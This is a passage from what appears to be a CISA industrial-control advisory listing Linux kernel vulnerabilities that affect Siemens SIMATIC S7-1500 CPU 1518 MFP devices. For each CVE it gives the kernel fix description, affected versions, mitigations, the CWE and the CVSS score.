print_report+0xaa/0x250 [ 38.595359] ? __ext4_check_dir_entry+0x67e/0x710 [ 38.595368] ? kasan_addr_to_slab+0x9/0x90 [ 38.595378] kasan_report+0xab/0xe0 [ 38.595389] ? __ext4_check_dir_entry+0x67e/0x710 [ 38.595400] __ext4_check_dir_entry+0x67e/0x710 [ 38.595410] ext4_empty_dir+0x465/0x990 [ 38.595421] ? __pfx_ext4_empty_dir+0x10/0x10 [ 38.595432] ext4_rmdir.part.0+0x29a/0xd10 [ 38.595441] ? __dquot_initialize+0x2a7/0xbf0 [ 38.595455] ? __pfx_ext4_rmdir.part.0+0x10/0x10 [ 38.595464] ? __pfx___dquot_initialize+0x10/0x10 [ 38.595478] ? down_write+0xdb/0x140 [ 38.595487] ? __pfx_down_write+0x10/0x10 [ 38.595497] ext4_rmdir+0xee/0x140 [ 38.595506] vfs_rmdir+0x209/0x670 [ 38.595517] ? lookup_one_qstr_excl+0x3b/0x190 [ 38.595529] do_rmdir+0x363/0x3c0 [ 38.595537] ? __pfx_do_rmdir+0x10/0x10 [ 38.595544] ? strncpy_from_user+0x1ff/0x2e0 [ 38.595561] __x64_sys_unlinkat+0xf0/0x130 [ 38.595570] do_syscall_64+0x5b/0x180 [ 38.595583] entry_SYSCALL_64_after_hwframe+0x76/0x7e</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37785">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37909</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: lan743x: Fix memleak issue when GSO enabled Always map the `skb` to the LS descriptor. Previously skb was mapped to EXT descriptor when the number of fragments is zero with GSO enabled. Mapping the skb to EXT descriptor prevents it from being freed, leading to a memory leak</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37909">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37917</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ethernet: mtk-star-emac: fix spinlock recursion issues on rx/tx poll Use spin_lock_irqsave and spin_unlock_irqrestore instead of spin_lock and spin_unlock in mtk_star_emac driver to avoid spinlock recursion occurrence that can happen when enabling the DMA interrupts again in rx/tx poll. ``` BUG: spinlock recursion on CPU#0, swapper/0/0 lock: 0xffff00000db9cf20, .magic: dead4ead, .owner: swapper/0/0, .owner_cpu: 0 CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.15.0-rc2-next-20250417-00001-gf6a27738686c-dirty #28 PREEMPT Hardware name: MediaTek MT8365 Open Platform EVK (DT) Call trace: show_stack+0x18/0x24 (C) dump_stack_lvl+0x60/0x80 dump_stack+0x18/0x24 spin_dump+0x78/0x88 do_raw_spin_lock+0x11c/0x120 _raw_spin_lock+0x20/0x2c mtk_star_handle_irq+0xc0/0x22c [mtk_star_emac] __handle_irq_event_percpu+0x48/0x140 handle_irq_event+0x4c/0xb0 handle_fasteoi_irq+0xa0/0x1bc handle_irq_desc+0x34/0x58 generic_handle_domain_irq+0x1c/0x28 gic_handle_irq+0x4c/0x120 do_interrupt_handler+0x50/0x84 el1_interrupt+0x34/0x68 el1h_64_irq_handler+0x18/0x24 el1h_64_irq+0x6c/0x70 regmap_mmio_read32le+0xc/0x20 (P) _regmap_bus_reg_read+0x6c/0xac _regmap_read+0x60/0xdc regmap_read+0x4c/0x80 mtk_star_rx_poll+0x2f4/0x39c [mtk_star_emac] __napi_poll+0x38/0x188 net_rx_action+0x164/0x2c0 handle_softirqs+0x100/0x244 __do_softirq+0x14/0x20 ____do_softirq+0x10/0x20 call_on_irq_stack+0x24/0x64 do_softirq_own_stack+0x1c/0x40 __irq_exit_rcu+0xd4/0x10c irq_exit_rcu+0x10/0x1c el1_interrupt+0x38/0x68 el1h_64_irq_handler+0x18/0x24 el1h_64_irq+0x6c/0x70 cpuidle_enter_state+0xac/0x320 (P) cpuidle_enter+0x38/0x50 do_idle+0x1e4/0x260 cpu_startup_entry+0x34/0x3c rest_init+0xdc/0xe0 console_on_rootfs+0x0/0x6c __primary_switched+0x88/0x90 ```</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37945</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: phy: allow MDIO bus PM ops to start/stop state machine for phylink-controlled PHY DSA has 2 kinds of drivers: 1. Those who call dsa_switch_suspend() and dsa_switch_resume() from their device PM ops: qca8k-8xxx, bcm_sf2, microchip ksz 2. Those who don't: all others. The above methods should be optional. For type 1, dsa_switch_suspend() calls dsa_user_suspend() -&gt; phylink_stop(), and dsa_switch_resume() calls dsa_user_resume() -&gt; phylink_start(). These seem good candidates for setting mac_managed_pm = true because that is essentially its definition [1], but that does not seem to be the biggest problem for now, and is not what this change focuses on. Talking strictly about the 2nd category of DSA drivers here (which do not have MAC managed PM, meaning that for their attached PHYs, mdio_bus_phy_suspend() and mdio_bus_phy_resume() should run in full), I have noticed that the following warning from mdio_bus_phy_resume() is triggered: WARN_ON(phydev-&gt;state != PHY_HALTED &amp;&amp; phydev-&gt;state != PHY_READY &amp;&amp; phydev-&gt;state != PHY_UP); because the PHY state machine is running. It's running as a result of a previous dsa_user_open() -&gt; ... -&gt; phylink_start() -&gt; phy_start() having been initiated by the user. The previous mdio_bus_phy_suspend() was supposed to have called phy_stop_machine(), but it didn't. So this is why the PHY is in state PHY_NOLINK by the time mdio_bus_phy_resume() runs. mdio_bus_phy_suspend() did not call phy_stop_machine() because for phylink, the phydev-&gt;adjust_link function pointer is NULL. This seems a technicality introduced by commit fddd91016d16 ("phylib: fix PAL state machine restart on resume"). That commit was written before phylink existed, and was intended to avoid crashing with consumer drivers which don't use the PHY state machine - phylink always does, when using a PHY. But phylink itself has historically not been developed with suspend/resume in mind, and apparently not tested too much in that scenario, allowing this bug to exist unnoticed for so long. Plus, prior to the WARN_ON(), it would have likely been invisible. This issue is not in fact restricted to type 2 DSA drivers (according to the above ad-hoc classification), but can be extrapolated to any MAC driver with phylink and MDIO-bus-managed PHY PM ops. DSA is just where the issue was reported. Assuming mac_managed_pm is set correctly, a quick search indicates the following other drivers might be affected: $ grep -Zlr PHYLINK_NETDEV drivers/ | xargs -0 grep -L mac_managed_pm drivers/net/ethernet/atheros/ag71xx.c drivers/net/ethernet/microchip/sparx5/sparx5_main.c drivers/net/ethernet/microchip/lan966x/lan966x_main.c drivers/net/ethernet/freescale/dpaa2/dpaa2-mac.c drivers/net/ethernet/freescale/fs_enet/fs_enet-main.c drivers/net/ethernet/freescale/dpaa/dpaa_eth.c drivers/net/ethernet/freescale/ucc_geth.c drivers/net/ethernet/freescale/enetc/enetc_pf_common.c drivers/net/ethernet/marvell/mvpp2/mvpp2_main.c drivers/net/ethernet/marvell/mvneta.c drivers/net/ethernet/marvell/prestera/prestera_main.c drivers/net/ethernet/mediatek/mtk_eth_soc.c drivers/net/ethernet/altera/altera_tse_main.c drivers/net/ethernet/wangxun/txgbe/txgbe_phy.c drivers/net/ethernet/meta/fbnic/fbnic_phylink.c drivers/net/ethernet/tehuti/tn40_phy.c drivers/net/ethernet/mscc/ocelot_net.c Make the existing conditions dependent on the PHY device having a phydev-&gt;phy_link_change() implementation equal to the default phy_link_change() provided by phylib. Otherwise, we implicitly know that the phydev has the phylink-provided phylink_phy_change() callback, and when phylink is used, the PHY state machine always needs to be stopped/ started on the suspend/resume path. The code is structured as such that if phydev-&gt;phy_link_change() is absent, it is a matter of time until the kernel will crash - no need to further complicate the test. Thus, for the situation where the PM is not managed b ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37945">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37959</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Scrub packet on bpf_redirect_peer When bpf_redirect_peer is used to redirect packets to a device in another network namespace, the skb isn't scrubbed. That can lead skb information from one namespace to be "misused" in another namespace. As one example, this is causing Cilium to drop traffic when using bpf_redirect_peer to redirect packets that just went through IPsec decryption to a container namespace. The following pwru trace shows (1) the packet path from the host's XFRM layer to the container's XFRM layer where it's dropped and (2) the number of active skb extensions at each function. NETNS MARK IFACE TUPLE FUNC 4026533547 d00 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 xfrm_rcv_cb .active_extensions = (__u8)2, 4026533547 d00 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 xfrm4_rcv_cb .active_extensions = (__u8)2, 4026533547 d00 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 gro_cells_receive .active_extensions = (__u8)2, [...] 4026533547 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 skb_do_redirect .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 ip_rcv .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 ip_rcv_core .active_extensions = (__u8)2, [...] 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 udp_queue_rcv_one_skb .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 __xfrm_policy_check .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 __xfrm_decode_session .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 security_xfrm_decode_session .active_extensions = (__u8)2, 4026534999 0 eth0 10.244.3.124:35473-&gt;10.244.2.158:53 kfree_skb_reason(SKB_DROP_REASON_XFRM_POLICY) .active_extensions = (__u8)2, In this case, there are no XFRM policies in the container's network namespace so the drop is unexpected. When we decrypt the IPsec packet, the XFRM state used for decryption is set in the skb extensions. This information is preserved across the netns switch. When we reach the XFRM policy check in the container's netns, __xfrm_policy_check drops the packet with LINUX_MIB_XFRMINNOPOLS because a (container-side) XFRM policy can't be found that matches the (host-side) XFRM state used for decryption. This patch fixes this by scrubbing the packet when using bpf_redirect_peer, as is done on typical netns switches via veth devices except skb-&gt;mark and skb-&gt;tstamp are not zeroed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37959">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37964</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/mm: Eliminate window where TLB flushes may be inadvertently skipped tl;dr: There is a window in the mm switching code where the new CR3 is set and the CPU should be getting TLB flushes for the new mm. But should_flush_tlb() has a bug and suppresses the flush. Fix it by widening the window where should_flush_tlb() sends an IPI. Long Version: === History === There were a few things leading up to this. First, updating mm_cpumask() was observed to be too expensive, so it was made lazier. But being lazy caused too many unnecessary IPIs to CPUs due to the now-lazy mm_cpumask(). So code was added to cull mm_cpumask() periodically[2]. But that culling was a bit too aggressive and skipped sending TLB flushes to CPUs that need them. So here we are again. === Problem === The too-aggressive code in should_flush_tlb() strikes in this window: // Turn on IPIs for this CPU/mm combination, but only // if should_flush_tlb() agrees: cpumask_set_cpu(cpu, mm_cpumask(next)); next_tlb_gen = atomic64_read(&amp;next-&gt;context.tlb_gen); choose_new_asid(next, next_tlb_gen, &amp;new_asid, &amp;need_flush); load_new_mm_cr3(need_flush); // ^ After 'need_flush' is set to false, IPIs *MUST* // be sent to this CPU and not be ignored. this_cpu_write(cpu_tlbstate.loaded_mm, next); // ^ Not until this point does should_flush_tlb() // become true! should_flush_tlb() will suppress TLB flushes between load_new_mm_cr3() and writing to 'loaded_mm', which is a window where they should not be suppressed. Whoops. === Solution === Thankfully, the fuzzy "just about to write CR3" window is already marked with loaded_mm==LOADED_MM_SWITCHING. Simply checking for that state in should_flush_tlb() is sufficient to ensure that the CPU is targeted with an IPI. This will cause more TLB flush IPIs. But the window is relatively small and I do not expect this to cause any kind of measurable performance impact. Update the comment where LOADED_MM_SWITCHING is written since it grew yet another user. Peter Z also raised a concern that should_flush_tlb() might not observe 'loaded_mm' and 'is_lazy' in the same order that switch_mm_irqs_off() writes them. Add a barrier to ensure that they are observed in the order they are written.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37964">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37972</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: Input: mtk-pmic-keys - fix possible null pointer dereference In mtk_pmic_keys_probe, the regs parameter is only set if the button is parsed in the device tree. However, on hardware where the button is left floating, that node will most likely be removed not to enable that input. In that case the code will try to dereference a null pointer. Let's use the regs struct instead as it is defined for all supported platforms. Note that it is ok setting the key reg even if that latter is disabled as the interrupt won't be enabled anyway.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37972">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-37980</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: fix resource leak in blk_register_queue() error path When registering a queue fails after blk_mq_sysfs_register() is successful but the function later encounters an error, we need to clean up the blk_mq_sysfs resources. Add the missing blk_mq_sysfs_unregister() call in the error path to properly clean up these resources and prevent a memory leak.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-37980">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
